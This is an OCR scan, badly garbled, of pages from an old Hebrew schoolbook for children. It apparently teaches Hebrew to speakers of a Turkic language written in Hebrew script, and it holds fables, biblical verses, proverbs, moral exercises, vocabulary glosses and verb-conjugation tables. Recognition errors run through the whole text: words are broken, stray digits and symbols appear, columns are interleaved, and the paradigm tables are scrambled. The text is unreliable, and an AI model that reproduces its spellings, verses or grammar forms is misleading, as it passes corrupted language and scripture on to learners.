(נא איצון אירמדיגיו נאסלי כּי סימארלנדיגיז) + בגא נאסלי אמר אולונדי
בּן אוולא אידר אים . ירושלם פאדשאהי וא אניג בֶגּלרי וא אגאלרי בָּבָל
נא ייסיר אולונדילר . אללהים ! יוזלרימי סגא קאלדירמאיא נהָרִים)
אוטאנדים וא ארלאנדים זירא צוק גונאחפר אולדום .
איש זקן וחמורו
איש זקן רַעה על פָנִי הַשָדָה את חמורו בִּימִי מִלְחָמָה ; וישמע
פּתָאם קול אויבים מרחוק וַיאמָר אֶל חמורו : מָהֶר ְנוּסָה לְנוּ וְנִמָלֶט פָן
יוליכונו בּשָבִי. והחמור לא זָּ ממקומו וִיאמָר + שְאֶלָה לי אָלִיךְָ אַדוני !
אָם ישְבּנִי הָאיָבִים קָאֶלָה. הישלחוני לְתָפָשי סיר מִפָבָל שכמי אם לא +
ווען הזקן וַיאמֶר : לא. - וַיסַף התמור לְדִבָר עוד ויאמָר : אָם כָּן לָמָה זֶה
אנ לְנוּם+ מה יסְכן לי כִּי אתֶך אָעָבדר או אתֶם אָם נּם תחת יָרֶם גם
הת יָדִיף גל הַפַכָל הֶרְסָ ְהַמָּתָג ז
ְַּסַת הַחָמור.
הַאֶרְיָה חָלָה את חָלֶיו. אָשָר יָמות כו . אין עור לבו לִמִרֶטָרֶף ,
כחו עוְבָהוּ ואור עִנָיו נַם הם אִין אתו; ויוכח בְּמַכְאובִים על מִשכָּבו וְבְמַעט
לא נָשָאָרָה בו נְשָמָה . וַתִקְרְבְנֶה החיות לָנְקֶם אֶת נִקְמְתָן מִמָנוּ : חיר
הַיער נשכו בְּשָנָיו; השור נְנְחו בַּקרנִיו! וְהַחַמור גּם הוא נִיָפוּ בָפַרְסותָיו
ויִהָלום אֶת גְלְָלַתו. וָהִי בָּמותו ויאָנח הָאַרִיָה וִיאמֶר: קשה לִי פרסת
הַחמור מִכּל"החרפות אַשר חַרפוּנִי אויבי ותנני מת פּעִמִיס . ,
.% 1
לבך , סאלט . יאלינגיו. באשקא . מאערא נמעדרא) , בשקנ'א . (לְבָדִי , אוז אווופא .
לְבְרָּךָ , לבדו) למר-כבר , בשקג'א בשקג'א .
אני ישב לבְדִי בָביתִי , ב אבימרא יאלינניז (אוו אזזומא) אוטורויד
אים .
22 לרגל הילדום
ג רמולר , יציב קרדשים בּוְגון אורוגיני אופרגמדי וא אגא מועללים בכאות
דארילרי וי .. רבבי. סונאמאיאסיניו . ישי אוגלו. הגד ניב. תפלק
לרי. תבמיל. אולרןלר. בלה , 5 סניג אישלריגין חצאן תכמיל אולורלר ,
סיזא איילי אידנלרא איילו אידיגיז וא ביר כימסאיא פנאליק אידמניז. ...
גל וא. ראכא ציקאייק - בְגִיִם: קולוגא. דארילמאיא סין (חרה. אף , על).
זורא. פהעה. גאפלי איסא סן דא אוולא סין . אגר פנא יוללריגיזדן. הונר
אוְסגין. וא אללהוג סמארלרע י סאקלאר איסגיז מוטלאקא סאג אולור סיגיו
ואָ. אולמז. סיגיז . תלמידלרים !נא איצון בו שאשקינא אניג. שאשקינליגינא
גרא, קרשולוק וירדיגיז. וא = איצון סיז דא אקרן אולדוניז + בחצאלר
הופוכון וא. מיבטלריני ייגיז., בּאגלר דיכייו | וא אנלריג שראביני איציניז .
אָבוגיזדא אוטורדוגיגיודא וא. יולדא | גזדיגיניודא.. ואמדיניגיזרא. וא
קא הודא יידיגיגיזדא וא איצדיגיגיודא רבבי מדח אידאסיז נבְרֶךָ) .
בו דירגו. מייבאסונדן צוק יימיָאסיניז כו איציגיז אנרימאסון. (בי ג'אגילר
בפסוזליני כפסיזלגמָאיאסיניו. שרה ורבקה . סיז נא איצון אגלייר סינין 1
נאסלי. אנלמאייק 1 ביים בו קרדשימיז א; פאגבון אולדי .. שראב צוק
איצמגין. כי.. סרחוש. אולמאיאפיניז וא. םוזי גורנלררן אוטאנמאיאסוניז
(יעני.סִיזי גורנלרא. עאייבלי. אולמאיאסיני .. אללהים :| סנדן גיובי. עזון
אברֶה, עק דיב,.
קוזים ! ₪ אוגרן וא עלם וא תרבייה צוק קזאן אניג: איצון סני
גומלא גורנקר סני בננסונרר" כיימלא סני גורנלריג. גוולריגדא שירינליכ
בּולאסון) . קיוקרדשלרים! סיז בו איי אישי דגיל בנים חטרים אוצון ,
אללהיג ביוב אדיניג חטרי. איצון אידיניז . תלמיךְלרים: טנבל אולְמאָניז
אניג איצון כּי סיזא איי אולא. ואר, אכמגיני סבינץ אילן ַא וא שראביני
שן טוב גוגול אילן אוץ. ואריגיז, קיזלרים ,. וא וכ קרא קרייג סאגליניני
כשלום). גורוגיז וני נא חאלדא דיר, סאג מי דיר גוךוגיו.. נאסלי כי
פוקראלר אוולא דא מאלי צוק אידן ונגינלר אולומוג אליגדן קורמולמאולר.
אי מאלי צוק דוושירן זנגון! אולום אילן שרט גסר מי סין כי. אולמייאפין,
(לבלתי) ? בָּים1. ביזדן לי איאמא אניג איצון 5 בילייב בי סניג
גוזלהיגדא שירונליב 0 . רבבי: סנא סיגיגיר אים אניג איצון 5
אוּמאָנמאיים. (למען) . בבאמיז - גי וקת ביזא שראב איצממאמיז איצו
וסִיית איטדי . סוז. גלרדתפין דילבר קיולר יארין דאגא ציקג'ק דיר..
אללהימ . בגאות. אוטאנריק ,. ארליק. יולרימעי אורמדי , זירא סגא
גוגאהכר אולדוק.. ביזא. הר גא כִּי סימארלר איס: אִיהר איזוא הר גְרָאיא
לרגל הילרים 1
בניכם מה העבודה הואת לכם ואמרתם זָבֶה פָּסָה הוא ליהוה . נביא
אקים להם מִקֶרֶב אחיהם כמוף ונתתי דברי בפיו ודבר אליהם את כל
אשר אַצַפָּוּ . והיה האיש אשר לא ישמע אל דברי אשר ידבר בשמי
אנבי אֶדְרש מע . תִרְבְּינָה שְמַחות בישראל .
בני ישראל מסררא דורט יוז סנה אוטורדילר וא יאיילרילר וא צוק
אולדולר בּגאית . שהרימיז זאבט אולונרוגי גוני ביזים בָּגלרימיז גנדי
אללרי אילן אסילדילר דושמאניג אָלינא דושממב איצון . רכבי אלגישלאיא
פני וא ייאיילטא סני וא צוק אידא סני . סן קיוקרדשים , חסטא סין וא
נא איצון ג'אניגי קיינאר סין וא אכמב יימז סין + קיוקרדשקרים \ בו ג'אהיל
חלאייקלרא אנלריג רָליליגי גיבי קרשיליק וירמגיז כּי פיז דא אגלרא
בגזמִיָאסיגיז . בו ג'אהיל קרילרא אנלריג דליליכלרי גיבּי קרשיליק ויריגיז
עקבה "בי גנדי גלזלרינדא עקללי אולמאסינלר . שרה ורבקה : קאנכז
גזמייאסייז וא סיר אשכּרטמִייאסיניז. קאנבז גזן וא סיר אשכרטן כימסאלר
ביר כימסאייג. גזזונרא שירינליכ בולמאזלר . קרדשלרים: פנא אישלר
אידמייאסיגיז וא אחתייאר בּבאמיזי דארילטמאיאסיגיז . אללהיג מַלְאָכִי
הָנָר ני שרה חאניטיניל אוגונדן קאצריגינדא יאבנדא גורדי וא אגא
דרי : חאנימיגא גרי דון וא אנל. אללריניג אלטינדא מוטיע אול טאבון
אול , ההפעל), קיינאלמיש עפעל גיאני אכּמפגא דויידיר . ביז. דון
קורעהלר בוראקדיק וא קורעה יצחק גא ושמואל נא דושרי. אללהי כימא
אקרן אידר סיגיז 1 רבקה: נא איצון בגא ביר סו קרשיליק וירמְיָיָא
איסטמז סין+ בו יראמז כימסאלר (איש , חַמָס) סניג אילן בארישמאייא
ראזי אולורלר מי נְרָצַה)1 קיזקרדשים ! בּנים רובאמי חצאן דיכיפ תכמיל
אידר סין + שרה ורבקה! סיז בא ביר אז אחצא בורג'א ויריר מי סיגיז ז
אוגלאנלרים: בו אדמלרא בורגיא וירמייאסיגיז זירא אנלר יראמז כימסאלר
דיר . קרדשים ! בו צוסט אדם סני אלראמאיא גלדי , קלביג אניג
ג'וואבלרינא אלדאנטאפין . אגר סיז אלללהיג סוזינא סיזא סמארלאדיגי
סמארלרינדן או טראפא וא סו3 טראפא קאיירילמיינג'א (קאיירילממאק
איצון) דיגלר איסְגיז אללה אללריניזיל אישלריני אלגישלר וא פיז צוק
מיללתלרא בורג'א ויריר סיניז וא סיז בורג'א אלמאז סיניז, אָבלר יאפר
סיניז וא אוטורור סיגיז באנלר וא בחצאלר דיכר פיגיז וא מייבאלרי
ייר סיגיז .
אנאם! בו גגיא מומי סונדורמא . קיזקררשים מומי סינדורדי וא בּן
קראנליק דא ביר שיי גורמייר אים שתירי, ג'אהיל לר עלמינ' עאיידינליניני
20 לרגל הילדים
ְסַרְתֶם וַעְבַדְתָּם אֶלהים אֶחָרִים. הָאִיש הַזֶה בָּא לפתותך ולְדַעת אֶת כָּר
אשר אַתָּה עְשֶה . פּתִיהנִי יִהוָה וְאֶפת . אֶת אָשר יָאָהָב יְהוָה ּבִיח וּכְאָב
ֶת ב יִרְצָה . הלך רָכִיל מנלָה סור וְאָמְרוּח מַכַפָּה דָבֶר . חון מְהָבָל
ימעט וקבץ על יָד יַרַבָּה . בָּכֶלמָקם ענ יָהוָה צפות רְעִים וְטוּבִים .
רצות הוה דרְכִי איש גּם אויביו לשלים (= יטְלִימו) אֶתו. . 2 חָמַס
יפַּתָה רְעהו ו וְהוליכו ִּרָרָך לאדטוב . ַחָנוּנִים ידִבּרְרש תִנשיר. ישנה עזת .
עשה ] צרל קה וּמִשָפָּט נְבתֶר ליהוה כִזֶבח. אמֶם אזגו מעקת ₪ גַם הוא
קרא ולא \ שָנָה . שיר בְּרָשִים ימשר וְעָבָר לוה לְאִיש מלוה. ראשית
חִכְמָה קְנָה חַבְמָה ובְבַל"קנינְיף קְנָה בִינָה . אמת קנה ואל תִּמְכַר חָבָמָה
ּבִינָה ומוּסָר . בַּחַבְמָה ִבְָּה ביִת וּבְתְבוּנָה יְָכִּנֶן . אל חען כָּסיל אוו
פּן תַשוָה לו ג אֶ ָה. עָנָה סיל בְּאוּלְתּ פ ה ָבֶ בְעִיניו.. ל אַל
ִמְלֶה עַ: צַל רְאֶה דרכיה וְחִכֶם .
ְהוָה אלהים! הנה אתה עשית את השמים ואת הארץ בּכְחֶ הגדול
לא שִפָלָא ממה + דבר. גדל הָשְצָה ורב חָעָלילִיָה אשר עיניף פקוחות
על כל דרכי בני אדם לתת. לאיש כדרכיו וכפרי כ אתה יהוה
אלהינו אשר כַּרַתָּ ברית את אבותינו את אברהם את יצחק ואת יעקב
לתת לזרעם ארץ טובה ורחבה את ארץ כנען וַתָקֶם את הברה כי צריק
אתה. ויאמר יוסף אל אחיו אני יוסף העור אבי חי ולא יכלו אחיו לָעָנוּת
אתו . ויאמר יוסף אל אחיו גשו נא אלי וינשוּ ויאמר אני יוספ אחיכם
אשר מכרתם אותי . אחותי אשר אהבתיה כנפשי חלתה ותמת פתאם .
ברו אתה יהוה אלהינו אשר הֶעִָיקָנוּ ממצרים והצלתנו מעבודה קשה.
אוי ל הנער אשר לא קנית ג חכמה ומוסר מימי נעוריף | דוד המלך הַָסָה
ביהוה ויצילהו יהוה מיד כל אויביו המבקשים את 0 לא תַפָה עין
קין על הבל אחיו ויהי בְּהִיָחֶם בשדה ויקם קין על הבל אחיו ויהרגהו .
כל האנשים אשר שִבָה האויב שָבוּ אתמל העירה לביתם ואחותי לא
שָבָה. רבקה רְצָה החוצה לראות את הנשיא העובר לפני ביתנו ואחי
א רצה לראותו . רעי מקנה אברם ורעי מקנה לוט רָבוּ כי מקניהם רבו
מאד ולא יכלו לשבת יחרו . הגבורים אשר שָבוּ אֶתֶם המצרים לא שבו
לביתם עוד . אנשי המלחמה לא הְסוּ באלהים וגם אויביהם לא חָסוּ
עליתם וַיַשְבּוּם - ישראל גלוּ מעל אדמתם וכל אויביהם גִכוּ וושמחו .
ויאמר אברם אק שרִי אשתו הנה נא ידעתי כי אשה יפת מראה אֶת .
והיה כי יָרְאוּ אתך המצרים ואמרו אשתו זאת והרגו אתי ואתך יחיוּ .
ארי גא אחותי אַת למען ייטב לי בעבורך . והיה כי יאמרו אליכם
קרנל חילדום 9
ל ירעתי מי עשֶה אֶת הַדִּבֶר הזָה ונם = בוני כּום איטרי בילמדים , סן רא בנא
אסָה לא הַנִרְ לי וְגַם: אָנִי לא סוולמרינ: .בן ' רא* אשיטמרים ,
שמַעתי בְּלְתִי היום . אוללא - כִּי | בוו * (סלט בוגון
אשיטרים) .
משֶה הָיָה העה אֶת צאן יַתרו תקנו. כתן מדיָן וַַנְהַג הצאן אַחר
הַמָדְבָּר . ויְרָא שם ם אליו יה ויאמר ראה רְאיתי אֶת עָנִי . עמי אשר
בְּמְצְרִיִם וְאֶת צעקְתֶם שְמַעְתִי וְאָרָר לְהָצִילו" מיד מִצְרִים ולה: עלותו מִן
הַאָרִין הַהִיא אֶל. אָרֶץ טכה וּרְתָבָה . כָּל"אַרמְנָה אתום. לא הענו
( = תִענו ; אָם ענה תְּעַנָּה אתו ִּי אָם צָעָק יְצעק ק אֶלי שמ אשמע
צטָקָתו ; ְחָרָה אַפִּי וְהַרְנְתִּי אַתְכם בָּחָרָב ויו נשכס אלְמָנות ובגיכם
יתומים. - וְהָיָה - הַייתֶם ְלְלָה ּויִם בּית יְהדָה וּבָית שְרְאָל: כּן
אושיע אֶתְבֶם ְהַיַיתֶם ּרָכָה ה. שמעו זאת הּקְנִים ְהַאזינו ּלדישבי הץ
הַהַיָתָה ז זאת ִּימִיכֶם אָם בּימִי אָבחִיבֶם.. נַער הָיִיתִי גם זקְנְתי ולא רְאיתי
צְדִיק טוב מרעו מִבקש לחָס : ראה נתַתי לְפָ כ היום אֶת הַחִיים ואת
הטוב ואת המות וְאֶת הרע . רמוה ) אשר אנבי מו היום תשמרון
ל ושות למנן תחיון ּרְבִיתֶם . ְְּבות צדיקים ישמה העת ובמשל בשע
ְאַנַח עַם. ברבות רשעים ירִבָּה פשע . הוה אַלְהיכָם הַרְבָּה אֶהְכֶס וְהַנְכֶ
היוס כככבי המיס ה אֶשר תָּשִים עליה לא ָרְבָה לו. סוּסָי ולא
לשיב את הַעם מְצְרִימַה למען ן הרות : סוס ; וַיהוָה אָמַר לב כָם לא תוסיפון
לשוב בד הזה עור; | ולא כ לו גָשִים ולא יסור לָבָ בו וס וזְהָב ל
ִבָּה לו מָאר לבַלְתִי רום לָבָבו ְאָחַיו לְבַרְתִי סור מַן ן המ ְָה ָמִין ושמאל
למען יאר י ָמִים על ממְלְכָתו הוא וגיו עד עוֶם- - יִָינוּ לא שפכו אֶת
הַדָּם וני נוּ לא רְאוּ . יפְתַּח יְהוָה לה" את אוּצָרו הטול את הַשְמִים לתת
מטר ארְצך בְּעתו וּלְבְרך אֶת כָּל מעשה הלות גם רַבִים. ואתה
לא הַלְָה .
גר אֶלְהִים מרם יבה טּשְמוּאֶל שכב) בְּהִיכָל הוה אֶשָר שם אָרון
אֶלהים ; קרא הוה אל שמואל ויאמר -הַננִי + נרין אל עלי ואמ הַנָנִי
כּי קראת לי ויאמר לא ק קראתי שוב שכב ב וולד. שב : ויסף : הוה קרא עור
ש מואר" ויקם, שכ מואל ולר אל טלי ויאמר הנני. ִּי קְרְאָת לי ימר לא
קראותי בנ" שוב שבר : ושמוצל מָרֶם ידע אֶת יְהוָה וְמַרֶם יגָלָה אלִיו-דּבַר
יהוה: ויסף הוה קרא שמואֶל בשלישית ויקס ויל אֶל עָלִי ואמָר הננ
ִּי קְרָאתָ לי ווכן לי ִּי הוה קרא לנָעֶר : השמרו רַבֶם פן יפתה לְבַבְכֶם
(חלק ראשון) 2
218
ְהוָה אֶשר בְּחרֶּ בְִּבָרֶם ! אל פאטם
אלה תִפָּלַת ַרְע .
אָנִי האיש אָשר הַיִיתִי עשיר וּמַרַחֶם ם דלים
- , וְהְנָנִי רש היום ועו
0 מחזק ברו
אשר 9?
קְנִית חַכְמָה ומוסר בּימִי נעורִיף.
מידו אשר אה ק בְמיף כּבָני כִּי
הָאִיש אָשָר רְאִיתִיו אֶחְמל חְבֶס וְעשִיר.
הַנָבְרֶת אֶשָר רְאִיתִיה בְּכִיית דורי הְיָתה
אֶשֶת נְשִיא עירנו .
| אם שמע תִּשָמָע אֶל מְצָוּתִי ונתתי
מטר אַרְצָכם בָּעָהו .
וְהִיה
ְחיָה אִם שָכח פִּשָכַּח אֶת יְהוָה 0
וְאָבַרְת מו הרה מַעל הָאָרֶץ הטובה
אשד ואל נסן לף .
ְַיה כִּי וש אֶחִיף מְהַר עוְרָהוּ וְהַחוק
בירו
ְהְיֶה- כִּי ין ל ְהוָה. אֶלהִּיף
רב אל ָרוּם לְבְבֶך
*
עשר והון
הַשָמַר לף פֶּן תַּשָכַח את יְהוָה אֶלְהִיף
לְכְלְתִי שמר מצותִיו. וְמִשָפָטִיו
וח חקי קור תיו .
הַפַּלְמִיר הָרָע 9 ן לא שמע ב 2 אביו
ְאָמו ו לכל
יק חת מוס
לרגל. הילדים
או. אברהם. ני סאיילייאן רבבי ! אנין
זוריעתיניג הפלהפינא קולאקלריני
- אורטמא .
ב זננין וא פוקראלרא וא מיסכינלרא
מרחמת אירן כּימסא אורים ,
אושטא בוגון פאקיר וא פוראקילמיש
אים וא אלימדן דוטאן יוק דיר .
וטלו סנא, תלמירים , כּי בן '
גיבּי סֶבמיש אים ! זירא יאשליק
מנלרינרא עלם וא תרכ ארבּ
קואנרין .
רון גוררוגים כימסא עקללי וא זנגין ריר.
אקאמי1 | אבינרא גוררוגים | חאנים
שהרימיזיג אגאסיניג קריסי דיר .
וא אולור (63 אגר סימארלרימא רעלר
איסניז בן = ייריניזין = יאנמוריני
וקתינדא ויריר אים .
אגר רכבי אללהיני אונוטור איסג אללהינ
רבבי סגא וירג'ני איי ייררן צביכ
ייב אולורסון .
אגר קררשיג פוקראלניר איסא שו אולוא
אנא יארדים איר וא אלינדן דוט .
אגר רבּבי אללהיג סנא זנגינליכ וא צוק
מאל ויריר איסא גונלוג אופסכלנ-
מאסין 0 יף.
סַאקטֶ אול כּי רבּבי אללהיני אונוטמאיא-
סין אניג | סמארלריני שריעתלריני
וא רסמלריני סאקלמאק איצון
(אוולא כּי סאקלאמו סין)
בו פנא חלמיר בבאסינינ וא אנאסיניג
סווינא דיגלאמרי תרבייא אלממק
איצון (אוולא כּי תרבייא אלמארי) .
שכֶם (שבְמִי שָכמ6
= אומוז, אָנסא .
מן (מנִי, מנף), מן,
מננא , (אללה ישראלא
יאבּנדא קירק סנה
זרבינדא וירדיגי
אכמכ) ,
ועקה (%9 ד] נ' , פרייאד
לרגל = הילדים
פרסה (1א) גי מוייאק . לליה , ג
פיגאן .
ָחְרָו.,
מַמלְכֶת , 7 א')ג' ,
פארשאהליק .
י, איש .
אף , לפין, אנגיא /
בראבר,
הושוענו והוה אֶלְהִינוְּהַרְָה חַסְרף עפנו;
לְמען בְּרִיתף אֶת אַבְרְהֶם יְצְחֶק
עקב .
זסף אְמָרוּ לְהֶרְגו. וַישָמַע ראוכן
וַיאמַר אלה אל תִּשָפְכוּ רֶם
וד אל שלחו בו לְמַעוְהָצִיל אתו
מַיָרֶם לשיבו אֶּל אָבָיו.
לְמַר בי וּקְנָה חִבְמָה וּמוּחר
חן בְּעִינִי כל רואִיף .
למען תמא
אֶלְהִינוּ ! שה למענף ולא לְמָענָנו ואל
חפ נִמָלְף ְָרְפָה.
לא יטש הוה
הרול .
לור נסוּת אֶתְכֶם בָּא זי
אֶת עמו בְּעבוּר שמו
פָָ יכֶם.
-=
בְּעבוּר זאת הְעָמרפּיף בעבוּר הרְאותף
את כחי ולמען. ספר שמִי בּכָל
בי
יא רבּכי אללהימיז ! ביזי חלאם אוילא וא
ביזים אילן אייליניני צוק. איילא ,
אברהם יצחק ויעקב אילן (אולאן)
שרטינ איצון .
ני ל ל אני אולרורמאיא
איסטרילר , ראובן. אשיטטו וא דדי
קאן רוכּמִייא סיניו, וא אנא .
סונמאיאסיניז + -- אני | אנלרין
אלינדן קורטארמק איצון וא אני
בבאסינא גרי דונרורמכ אוצון .
אוגרן, אוגלום, וא עקל וא טרפ ארב קאון ,
אניג איצון כי ג'ומלא סני גורנלריג
נוזלרנירא שירינליכ בּולאס סין .
אללהימיו ! ביזים איצון רגיל ננדיג איצון
איולא | וא אולושיני (מיללתיני)
רסויליק א וירמא ככורלק א
רונרורמא) .
רכּבי מיללתיני ננדיני בּיוכ איסמי .אוצון
וראקמאו .
אללה סיוי תג'ריבּא אירמכ איצון גלדי וא
אני איצון כּי אניג קורקוסי יוזוניויג
אוזרינדא (אוניניזרא) אולסון.
בן סני וניג איצון רורגוורים (סאג בוראק-
רים) סנא ג קוותימי גוסטורמכ איצון וא
ארימי בוטון ייררא נקל אירמכ איצון.
יוסף
26
שוה , בגזרי , אקרן אולרו,
בראבר % . השוה
בגוטדי, אקרן איטדי,
מָרָה יִחָרה, יָחַר ,בחר
קהרלנרי , חַרֶה אַף ,
פלי על פ' , (אף , קהר,
עצוב) ביר כּימסאיא
קהרלגרי ,
חִסָה גִחֶסָה) ,
ענָה. (ִמַנָה , אָנָה, ישן
| ווען) כרשיליק ויררי.
בעהתב ווירדי. גַענָה .
סיגינריי.
(נפעל) קרשיליק אלרי ,
7 נאלדי , זאבון אולדו
| קיינאדי , זאבון
איטדי. -הַתְענָה, זאבון
אולדו . גנרי גנדינו
קיינארי,
לה (ְעלֶה , אִעְלֶ, ועל
ויעַל) ציקרי, עלה על
פּ', ביר כּימסאדן אוסט
ציקדי אולרי , העלה
נַעַלָה, אָעַלֶה , יעל
ויעל) ציקאררי , נַעָלָה
(נפעל) קאלדירילרי ,
אוכסכ אולרי .
שה נְעשָה , אָעָשָה
דייז רוויד
יע ש , ומ ש) אי טר
2
לו , יאפדי .
ה (יִרַעה) , אוטלאדי:
גוּטדי , אוטלאטרי ,
רְעָה רוּח, ייליצוטרי,
בוש % שייג 5 ד נזרי.
ראה (יראה ; ; ירא > וירא)
נורדי .
לרגל \ הילדים
חש יריה ,. .+ וָחִי ,
לחיוה) , דירי אולדו ,
דירילדי , ישאדי , סאג
אולדו.
שַבֶה (ישַבָּה, וְישָבָּ) ייסיר.
איטרי .
פַּחָה אלראנדי יַפְתָה)
ִפַתָה. אלדאנדי ,
פָקָה , אלדארי ,אל-
דאטדי ,
נסָה , דד , סינאדי,
ו תנירִיבָא איטרי.
ו סימארלאדי . וְסית
איטד/ צְיֶה | סימארלנרי,
אמר קבול איטדי ,
אמר אולונדי * צותי,
אמר קבול אידטים.
בגא אמר אולונדי.
הַתַרָה (חרה) דארילטדי .
קהרלנדיררי .
תָּלָה לי י נְתִלָה ,
א סילדי .
אשם , אורטדי . קפאדי,
הַאָטִם , אורטדי
(און) .
ְּחַר כְבְחַר) בּפי, אֶתפִ,
| פ', סאיילאדי,. או
בילרי .
הַלַם (יִהָלַם) אופאטר
קירדי.
גל (גיל) סבינדי, שאז אולרי
וד כזוז)
חֶם (חוס) עלפי, אג'ירי
, או
טאיירי, דַפּרנדי .
-
הסח עִינִי על פ' ,
אג'ירים
רם (רום). אוכסכ אולחו ,
לב פ' , עין פּי. פודול
אולדו .
נְמַלט (מלט) קורטולרי .
נשְאַר (שאר) , קאלרי.
נְאָנַח (אנח) , גוסטונדי .
השָלִים ( עלם) בארישדי
נַר 2, רב" נָרות זוזא) ז',
מום, קנדיל , צַראק .
שמאל , רבייבולונמייר)
= סולטראף, סול אֶל.
ּרֶל גוְּלִי רג גורְלות)
קוּרעה , (צפ), קיסמת ,
פלב , נאסיב , הפל
גורֶל , קורעה (צכ)
בוראקדי ,
תחנונים , (1, יחיד
| בולונמייר) ריג'אלר ,
יאלפק ג'/וובלר; מרחמת.
מעלְלִים , = מל ,
מַעַלְלִיבֶם , יחיר
קוללנילמייר) אישלר,
קנין (₪) " קאזנץ מ
ימִין ( , רבי' בולונמייר)
סאג טראף , אוג טראף
סאג אֶל.
רְכיל (71) 1 , קאמבז
(קאנב1), הָלְךְ רכש',
קאנבז גזרי , קאנבזליק
איטדי .
, כץ) זי יראמוליק,
גונאת י איש חִמָס ,
יראמז אדם .
מִתֶג (מִתְנֶי) נוקטא,
סאנצקי ,
לרגל הילדים 255
(התפעל) . יַתְבּסָה אורטונור יתכם , אורטונסין .
וְיתכָּם , וא אורטונדי .
ַתִנַלָה אשכריליר יִל , אשפרילסין (אצילסין) :
ויתנל, וא אשכרילדי . אצילדי .
1
יש אידסן .
ויעש, וא איטרי .
יעשה אידר,
ָלָה ציקאר יָעָרָ, צקסן .
ויל , וא ציקדי .
יי
ויהי גקי, ויהש
צוה = צו
הִתְכַּמָה = הַתְכַס הָת
/ בד ; בנ ; בַּנךָ: בַנַהוּ; בְנָהּ ; בָנְנוּ וכ +
בַּנַתְנִי ; בְּנַתְך בְּנַתְךּ ; בָּנתוּ (כנתה) וכו'
בנִית . בָּנִיתו; כ 8 בְּנַיְתֶם וכל .
בּניתִי. בְּנִיתִיו יתיה ; בְנִית יה ; בְנִיתִיךָ כו".
; בנוהו ; בְּנוּה וכו" .
ד 1
בָנוּ. בְּנוּנִי ; ו שגל
הַרְבָּה, הֶרְבְּנִי; הַרְבְּך ; הַרְבְּךף ; הַרְבָּ; הַרְבָהּ וכו .
הַרִבְּתָה . הַרְבַּתְנִי: הַרְבַתוּ הַרְבּתהוּ) וכ" .
ִרְבָּה, יִרְבָּהוּ; יַרִבָּהָ ִרְבְּנֶּ), יַרְבְּף : יַרְכּף -6 וכו" .
בּנָה . בנהו, בנה וכ'. בנים, בני, בוניו; 0
וי ,ב נוי נוי בנ ו".
לוה (ילה) , בּוְרג'א אלרי,
אודונץ אלרי , הָלְוֶה ,
רצה , מקפול איטדי ,
ד
מרבול
ד
==
ו
בה (יכבה סונדי ,
שש
ה | כןנדורדי . איסטדי, נרְצָה,
,
בורג'א וירדי, אורונץ אולונדי .
ה (כלה) = מכנדי.
ביט קרי , ִּקָה, מוכָּטדי,
בּיטטירדי, | תכמיל
הכיזו
איטרי , בּיֶה
,
אולונדי (אולדי) :
וירדי .
פּרָה (יפְרך) יאיילדי , צוק
אולרו , הַפַרֶה
ואיולטדי , , צוק א יטדי .
,
ופה, באקדי, גררי , צפה
-
5-ו |
,
באניג'י , קאראבול .
רבה ו, צוק או ולדו 'ו הִרְבָהי
צוק איטדי .
24 לרגל הילרים
הָיָה אידי, אולדו (פעל עוזר) , קל
עבר > הָיָה , הַיְתָה ; הָיִית; שת היתִי; חָיוּ; הַייַתַם, תת ; הָיינו
ו הוה + הויה, הויים היות ;
מקור . היה ; גסמך הָיות ; ; בָּהיות ; בת ; להיות .
0 4
[קראתי וא צאגיררים . וקל יאתי וא צאניריר אים .
ראת וא יראטריג בְראת וא יראטיר סין .
ומאת וא בולדים וכ מִצָאַתִי וא בולור אים.
תש וא יאפדיג עשת וא יאפר סין .
יה וא' יאפדים וָּנִיתִי וא יאפר אים .
לית וא ו אשכרילרים נָגְְיָתִי וא אשכריליר אום ,
לית ו וְהגְליתיוא ייסיר אידר אים .
4
(קל) ונה , פאר יבן, יאפסין .
ויבן , וא יאפרי ,
4 .
ְִנֶה סאטון אליר יקן , סאטון אלסין .
ויקן, וא סאטון אלרי. ,
נפעל) = יִנָלָה , אשבריליר ָגָרָ , אשנרילסין .
וְגָל, וא אשנרילרי .
ונה , יאפולור יכ יאפולסין. .
יבן, וא יאפולדי. .
(פעל) | נַכֶה אשכרא אידר גל , אשנרא אידסין .
עו ַל, וא אשכרא איטדי .
וה סימארלר יִצָו , סימארלאסין .
וצו , וא סימארלאדי .
(הפעיל) = יַנְלָה ייסיר אירר אל ייסיר אירסין ..
הל וא ייסיר איטדי .
.
בה צק אידר | == "ְרֶב, צק אידסין .
וירב , וא צוק איטדי
האל אי
ו
גלה
הל ₪ ; ייסיר איטדי .
לי" "| לנקבה
₪ 8
- -
6
הנְלְתָה
הנְרִית
היליתי
0
ַנְִיתֶן
הְַלִינו
לרגל הילדים
23
למ"ד ה" א
הַפְּעל הַתְפעל
גלה
הגלה ייפיר אולונדי ..
כסה
הַתִבָּמַה אורטונדי .
| לזכר | לנקבה לזכר | לנקבה
|
הֶנְלָה | | הְגְלְתָה || הֶתְכָּסָה | הִתִכַּסְתֶה
הְָלִיתָ | | ְָלת | | הִתְבַּפִיתָ | הַתִבַּפִית
הְַלִיתִי = | הַגְלִיתִי = | התַכפיתי הַתְבַּסִיתי
הגלו הגלו הַתִבּפּ | הַתְכְּּ
הָגְלִיתֶם הְַלִיהֶן הַתְבַּפִיתֶם | הַתְבַּפִיתן
הָיְלִינוּ = | הְָלִינו הַתִבַּסִינוּ | הַתְבּסִינוּ
לה תַנְלֶה | לה תִגְלָה | | יִתְבּסָה | | תִתְבָּמָה
לה" | מגלי =" ;| תנפתי. ]| הנלי ִּחְבָּחָה | תִתַבְּי
א = | אלה ; שקה ד אֶתְבַּסָה . | אֶתְכְּקָה
יגרו תנְלינה = | ילו תְָלִיָה | יִתִבְּּ = | תִהַבִּינָה |
חלו תנְלִינָה | תִגְלוּ מְּלִינָה | תִתְכָּסו תְַבַּסִינָ |
לה = |נגלה + = [נַַלָה נגלה" ִַכַּפָה | נִחְבַּסָה = |
: 3-1 7 1% 8 ).06074 :> לי ערו וו 1-5 ב ם ו
הנלה = | הַנְלִי הַתְכַפָה | הַתְכּפו
הגלו הגְלִינה הַתְבְּפּ | הִתִבַּסִינָה
מנְקָח | |מַמִלֶה = :|מַנְלָת = . | מִיְלָה מִתִבְּמָּה | מִתִבָּמָה
מגלים = | מגלות "= |מפלים ,| מ מיָלות מתכפים | מתכפות
נפרר. הַגְרָה ְתְבַּחָה
נסמך הגלות, בְּהגלות הַתְבָּות , בַּהֶתְכּפות
219 לרגל הילרים
ה
.-
נ-חי ל מ*1
ו תיור
=
/
--
-7. / ,
, ב 5"5, 2 +
רורר לוהרה לזבר רוהרה
4 -
קוו -,
